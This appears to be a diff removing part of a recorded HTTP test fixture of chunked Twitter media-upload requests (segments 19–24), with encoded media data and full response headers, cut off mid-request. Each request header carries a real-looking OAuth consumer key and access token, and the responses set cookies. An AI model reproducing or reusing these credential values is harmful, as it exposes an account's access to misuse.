"command=APPEND&media_data=mILNrEB2v7zPqPs5V84gNj%2FmV3k%2BTl%2F%2BFvBsHvkku%2FV661uZo0c8KF9QQkd9Ovnr52GrWw%2BUAe1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bDB9wyzry0X9hhzc6%2FLzkEEvzerXk%2B0CC7fCXupFpu55y%2FC4x%2BY2G4lsHrsNQW7MPTNbjCvKOytSXdEHEtlmfd%2F64V8msr3Xqu9Pta669XXiKtd0m8cYxGAgxEFYKtWoPLj%2FoXy0AYeSQ7gmCFsTaiYHWPGPer%2B4V80iiDiTVJIeEJ%2F3cf3V%2FkKX6Z%2FvU9Alrmga7M5cowjNJmTEY2Qv3cnldT%2BU%2Bm9%2B5CDYvP%2FBRaMY4xieVN9NhKEbebjNN1nw9%2FbBJmwOPBm3czL9F6rWqy4j0fXaNUifBFhkg3eB67DAh8fBUk%3D&media_id=1254206535166763008&segment_index=19" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:04 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:04 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_btKxKQN4WSAhttxQnJzZMA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:04 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112426592690; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:04 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "16de19c500e60a675cde556a1e57ec28", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19933", - "x-rate-limit-reset": "1587864356", - "x-response-time": "36", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00850af00058773e", - "x-tsa-request-body-time": "102", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"aqBW0PUIyzdXmrR%2B9Or4LaSuzhU%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=UOYjhFRQ7fDQ%2FtcIB4KFwpqbg2vsEDh1AQdS%2BmBS6vTv%2FMUbOmiisTHST9hgjw2khY6g28plfQZMO%2Ba9yy9nSQ%2FnIvvI%2FJ8vvHAiIzwfemG%2BqZbjC9%2FqwrfGCXP7JDhE9qLjgwvC9PzX0%2F3wPv6FE5pvLNfQSNXjoJeVcFar7V9X4LBJaBxlvnph4Q2vGw%2BNjdmorZfy7IH2Mv%2Bbobnyl2UVKu3r1evV%2Fkum7kbr%2BCMt3sSSnEK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tSUYEMHVwsAmSKM06jii9XHM1LtVtDsefTiY8kOPIKmKl%2Fb8B1%2FMo%2BSoEqQT6qRfcSvV6nBLfXVy%2BvVa9%2BrVdetdr3en9qr1%2FgmEUO5X0En7L%2Byq11o%2Fdr0916t5fExnq9euV%2BQZl7%2FMLdHf4el1gqlUfloFkhKQcuHXF%2FPDHOcB7zB7wFb%2BRLWicfxbTk%2BsRfGErU2mozuYmO5SHV0rnDrCEe86LuzxRgF3qfVi3frsUX6E93PSLFVzevT%2BHOW2S8e%2F964snHDmlmRfDPGiJxUHLy19F%2FvxQjFZ%2FP5A18Eg290g%2FV8vm%2BogQcxgS34%2FHROt6jL9vxmIpXw3%2FJQUOxHD4cEbMUubvq%2FRe5KqWrxS1a9%2BvrlVrL%2BG%2BDXrB%2BzBPwflMO4DkzF0vgTS4PiYSE4SuKGJHBs0%2F9x0t6Fo35zwRgbphf%2BFu73evpjNzT%2BCKQkolfvwqRAhtfo8uFIKljlh%2Fy7bW%2Fwhe%2BQ0hHCxd%2Fy72%2FnKsaIOP%2FrJfx%2FOQUsxF6HDKmVj%2F%2F8nqvX6vJcjcEAUJd34FgU2CcvggEeFxGuCILCQkKrG4%2Bp%2F8F0RFAMLAHx2WPWT%2FBILfev1gl8xHr%2BCMp17%2Br2aN1f6t%2BCooWWgXs%2BUVBJGp%2Bgi5fXqHLU2KvtjjywG5aXxuu68KPvtXnwh6XiE8Eojoj8ogLVzsP2UbENuLMBvwRC3a8q8wptTcv%2B97%2FBFVjk2X5C8aal8ZrWVVVHhm1xaX3WpIL5MOar%2BJXpeL4Cv4Cv%2BLyeGPwigj%2BzKTN%2BC8u74wD3rjxPj9eCjuO%2BVjYMHxD4%3D&media_id=1254206535166763008&segment_index=20" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:04 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:04 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_RubdtmVo7xLllW0nuPhsag==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:04 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112477907001; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:04 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "c65b1cbc4ac20682c2d03905d057500c", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19932", - "x-rate-limit-reset": "1587864356", - "x-response-time": "31", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00e2987d00c48b84", - "x-tsa-request-body-time": "64", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"Z0H0fP3xSb7nRUMGCmS3pe8r3Zo%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=O5e2yDrPVtFMZ%2FqPrO%2BTJpO%2BvBaWVmbvWVi5%2FRIPzExpBHeFCZi4P8Fl8tKC7f%2FyxnT%2F1fL%2BT6sv8V%2FoveDHLlr3zX6Lqbw4M5bXMmWv%2FKWwMZDE6yWhPV4kzz52RF9J%2BCIZm3Yy%2BFvLho4rbKxrMGBQEoS%2FXnOsuziA%2F8XYMbON8XBC3U18orIsCRs3b%2FmFxksfL%2F9uyuiuwqEfiprripPfLn6K5%2BvflIfO%2Ffe2vMSfP4ITu7oW5%2BF9AUeVtzFH9%2BWMcu7Bbkk1kX%2BvUN33r43o2G%2FlPX3uzJ4oQhsOAG1jhIWtu%2BCmTLF9LNP8ooKGtbZVDqyrmHtC8QcLAzUPqB90gUlFrchxk7WmvpDLoi2T0gLNtesyQn938JG%2Bs74JqeifpL%2B8QJCAQK3ARf7ATC1F5f9TY01K3pYzgd87CEV7fH4777e1gWs%2Bv4I4c5%2FsV8bZiu%2BvXKvNZmGD%2FXvw2XUh2DDrFEKuNnlA3Efnr95IZZQB975r0%2FwT7G7BpmtlA7Kv8EnNr1%2Bcizszv%2FaGuVykGQFPrHUyZUca6svWLGGScgsjvD2lrxtRAZ0kN%2FsrzNPaP1mXl9UouJGe7LatqKf%2Be2zAV0nfaf9xWhjYwqqqHKpqbUambQpvzJHNR1ZR0QMqqi9oXFys7WdJWq%2BxmCoiROEY22FHTENmW4sWvAY08VTxW%2FIi935Fr%2Fe50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BYEOJnufbGcuJbl1mVBZXlgzhxE%2B%2FYsggcbqebD4fltBOLurkvur%2Fef5fRoJPBIUtteX7kzpZBPwU9q9rf1qBiDDEeJc7i8E4WKjlBWn68TFkBl5VWMeviGlYkS5b2xTl859Txcf981X7x0YCwI4h4X5dOXDIAmRTYo3axOW%2F0POnJz5avV%2FkzX777uVEe%2Be4Jdv6QUCAKwoUKjOPw9%2FpCJRIoFAjDhlUOGdYhwe8OHMxk98IyhANhAbg6vqMt2XbOAcJRVECN%2Fy1EiojIh%2BmLacAAAC3BBmiaJqgV36F5VViPEa%2FU6fq03qmC%2Fifrv%2F9a9%2B%2B1On%2F%2F%2FX2veCX%2BsvEeDHpP1buuVZfrqK9evNMTjtJP72GjAwMIuFUNAv9GguGDvXm75ogNFLwSC0HvBGUw905AgHOWjrl1L8Hy%2BHXuLARoZDBKg3MvB54DzxcZlru4z0nn4E06YKKU%3D&media_id=1254206535166763008&segment_index=21" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:05 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:05 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_BQ1RNKpQMadFzdL7MvUsKQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:05 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112534681471; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:05 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "86275b5180525091ffbc1d111fa41085", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19931", - "x-rate-limit-reset": "1587864356", - "x-response-time": "31", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00e6a86c009e96d0", - "x-tsa-request-body-time": "117", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"S9yq9rCkkLujG60WUu%2BOjTZUe8o%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=m1LRA0w6w2V57hOoKvwOmXeDJ9v0dr9e%2FVklxPrF%2Bvd9qx7q17CxAhLr%2BFC7ulXcdiHL0xWWxWK%2FvnCmNrn%2BDvgrFYrFYrLYoxWKwAQXXcFEQ0P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TnAAEWDwAeGgAFQ8AHCRweOfZ%2BEIOn54D5bffeirJdqT%2BCU7B1JmPNG%2BsvNSOQbO83719Irn6M4Fz0%2FpFeT%2FfWA2AbgLgHIgztZ8A76qeHyeYKAO4IQrKPECDYrhQVJCrMD41GBgVS8QEME1UcA5Autk46qQjnkHfhM56fDa%2BL%2FLuh%2FnqOj6YGFwm9H%2B17V4i%2BFHSlu%2FCRa1yZ%2BImJBppmEWXnoYjQfzGblUasVGCUr3dn0yxy3k8%2F1rwREJ%2FKrm2Ju75fQvtC9do0cp%2FJwEENXYbIioml%2FGT29EvLeUMBr0Ld%2BCIVmQIurly%2FycRulFx5DePL05oDQyf6gmKfPu9yrBZ3HQ0UcAX30n%2FedHCXTPRauz1ImWgy%2F1i4sV4StA1mXGxf5htX%2FPX0EOmeLc99r0nku7Unr1eid3XjLnZst3lC1%2B7lf1l%2Fu6%2FCc2Vyw%2Fvd%2FyW0uX2jhYlEFEwJjZunSvwwFBgj%2B0hwxudraxhCNWyKK5ClqLaVBwGY%2FQnA%2FEgiYV%2B2%2FoN9zfB7DlYp3Hl8d8M5fPQDF2DWFjm%2F13j4buLyCc3WwxqCdopbIWTdZHurFz3SKlBXjVyEle%2FaFiz9wMa%2BEi03bd9rmntWjvBESgbu6SwSTYnJLuybp16sS%2BSM4%2F9CXrsQKu1w46UC1twXnECCCx63uy2u0CV5jGI0oH8medRmRKwGwDpIKZ78GtTNWhb0s5iDl0fL5YhFLYw8N0wXRh5zXHbKnKAxBAkStsxmJLfcn0cLTmISCaJ91C99oK0d6k4D12NdRAUx2okC%2F3zurhDssTAxmcDggcMhirIhiAR8pJX1DZZOK3oyzXf8nyFLinr8p8G7FsUpqE9e%2FRZpbECuK7t96vrxR3QV2bO78hNIaiCl9X9FOr7Fio6y7cs8vpib5LB0B7vvUyxoKS74gzZqjfffL5xBsO%2Flx0%3D&media_id=1254206535166763008&segment_index=22" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:05 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:05 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_J3xEGjbdsps6E5LJ2GPSYg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:05 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112591786886; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:05 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "a10919525377c536195f280a1d89bbfd", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19930", - "x-rate-limit-reset": "1587864356", - "x-response-time": "36", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00e2a00300525221", - "x-tsa-request-body-time": "102", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"YliYqSW%2Bs0i%2FSBzeyhfePa38IqI%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=eFE%2FfuFZYMQDlweeA2%2FE74cXimMm3%2F4Kq32OjwQDTEA4D3jMq%2FvFk94TerCHJipQGWOAacQNAY66cnps0oOI8q38V2opyflYEWD44yT%2FBjL9VH8RLlntBHJ%2FNhtB55GuffaC4jdyxGrAEMHEucAAQwUwr1TVeIFRuvQRf9em9Fb8gg%2BPrybMeiM%2Fhne6pjaKxQvXiOdh6UsXuQ25YyeevRoNXl%2BpNoXHmiA%2BgZiT9KY2bDj%2F85fA2NpYo37k8uDb95P2E8s%2FWjYJtp%2BO%2B%2B9IlmMwS%2B708QaJ3ey9bzC0A6xBmi%2BAd%2BSRcqLS4PLcFnpky6gz607UxtD5bQP6DHnZYYtjPZ%2BFeion6QTr5V6W%2F11%2Bvfr369KX9fRs9eL7NarJaP1YW08IZCHnJP4IwkKKYj8Q9u%2FyJkWL%2Bu38QhQi93dJ5fFiRJxWcEZOXH8s1N%2B0TBWcVctvezB3zhH3foKsy%2F%2F16yiMm2l%2F56%2Be3xHr1V8Fq5ZPXDgIsbIId3zMwM4HOs6q44uB%2Blc55M9fc8YTfDzzcKxZG%2B3VTXbrAoA4BCD8EYTzb7CCKDJoLn%2BjgAEqFIwsFQoVgoFgoFQsNAsGAsFBsFAqFBKJgqFgqIQkESK1U54zd1rmbkJ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rvfvvHEDK1oposS2OqCiP33j268hNed9%2FovXxHP7orkim1%2FGCi937tuGmWDAqztYtzv3cEatqfv8LF1caQqmXNz%2BEQ0K%2Bv1qn9fhrDC7zr5fbZ%2FBFzERxucVleci%2FHZeOwioOXoJkuNTTAZ%2FYLRNmG93c7GW10wpCDjfh3bP97uzP1M0tI30zt2oL7SSCGy7ymh32vsyKRtkq%2FyMaMLvjuOtC%2BgJN%2FaktfJ29OXzP3JQobk8a9RFiCtEXPbcic6C1RZPzZfBTlUncQ%2FfE5t%2Fd5cnT1ECGYI5eLiefCAgRB1YDtkWmojgp3lsgKuJ0E8zZEbHPftdKKPCdEizOJf8loOzUHVzApK%2BgSChRng1VTekAqD3x678vDYLigmGwa3gT3pFa%2BesKQP4GoECdwuJ8lo%2BiwGF9DxyLsqR0nPo4w%3D&media_id=1254206535166763008&segment_index=23" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:06 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:06 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_c4WdQiv8LuqnO+Cn7ZsVEA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:06 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112648782197; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:06 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "33253acac9df6273309f963caa37c69a", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19929", - "x-rate-limit-reset": "1587864356", - "x-response-time": "30", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "0024483800056c59", - "x-tsa-request-body-time": "98", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"Yh0FbDtjn0rJvzr5iMUyhMxqP0o%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=%2FN%2F%2Fof1XP6LNXQJRWkzrvJGzy9RmZjlII6tqvU1SrvCBZQrKSK0GP45a%2BS3Uy%2B78EmfvsV56%2Fx9B3eCkjHn%2B8xtjsSy3bQi7tGc0cZyu%2B%2FiYgjNMr5aAxve9RsnDLNK6NvJckXr7iKTy97%2Frb96iRPij%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KQnh%2B72496rGlFbyCivo54t%2FASTUlCQVCQkCQUGwXCgmCgmG4UCwYCgREYVCJDCoRM5vvWepM8fz%2Bl7%2Bvel4vfn4rfj4VTvpE6Du7%2B946e0%2BNN8W5o1Oj0%2FcuJ%2Fimjeg669hfn%2BJfxtLov3QvpLay%2BZf4I0aDlfQm%2FtX%2FEP8YsBD3nJ9nwsvZW4YAArns3QHe3AyzS7oQB4HqAiY7eM8vbokxKIWWmlQiyiaUQtQeHFC4Z7Je%2FtAg1KzKIyEa2iqC6DaudgpHSDgASwUiEgSIoUEwVCwUCwUCwoCxXCIlEJFEJm%2BOZ167fHzrvWde8yErz8Zz37RWZxSXodvP3ebj4%2Bjv3bjiI2%2F7JWFa9uf8VS0xo6yg28DvguX4hzKstGCPPqnVZQfzT5984UwvXu9n9SmZFvZwqfCxNPl9XnyOReYKsdidN6QAPX6BC%2FH6OWuPVA7ryidBU0B3%2BURMToGz%2B4AHf7DHQBWyZZdIVWRimFb3iJoYxRUHAEsVJAkFAkFQkJBKFAqFgqFAqFAqFhIGAsJwkEQmFgqERmFQiZz8YrmvGqrd1qt4tVX9X656a5NCcDwPb0%2BLt6ezi%2FIean9u9ErBuzH613H%2BIeLSLVe%2Bp2cwYzbcqYiyvVf%2BKF%2FCVs6h47IHPN%2FPrJLCmDHfk1Fn3m9b%2FvqY8ig2rMSRFjogJz%2B%2Fv7gq9lHYoOgXKJ%2FHewLg1oW0S%2BUeEHzLz4KV%2FGKk4S6D4fBANP21VVkJaL1smdZpoJRDLOqkMARrOoeOcQcASKZ%2FZwWSmCqFPE71nnu686GIS3xrYw5h7n5lPglVcdx56f1XNs3RJK95d9vVAXjtlWidNEvpm3CvnD2Ru5f7YPEHl2f3WF%2FO0LrGpW%2F29v%2Fgl1%2BlPR6KW6XTPY2Aycu1JRzC68%3D&media_id=1254206535166763008&segment_index=24" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:07 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:07 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_fwRCRWovqdo11PF\/Y70SKg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:07 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112706894255; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:07 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "b7f6f96fbb7ac6f84c67e4d6a45d66ba", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19928", - "x-rate-limit-reset": "1587864356", - "x-response-time": "28", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00a1084c003c2543", - "x-tsa-request-body-time": "97", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"ISjjOsz1ZBKv5d5MUGpJB2bvRmI%3D\"", - "Expect": null - }, - "body": 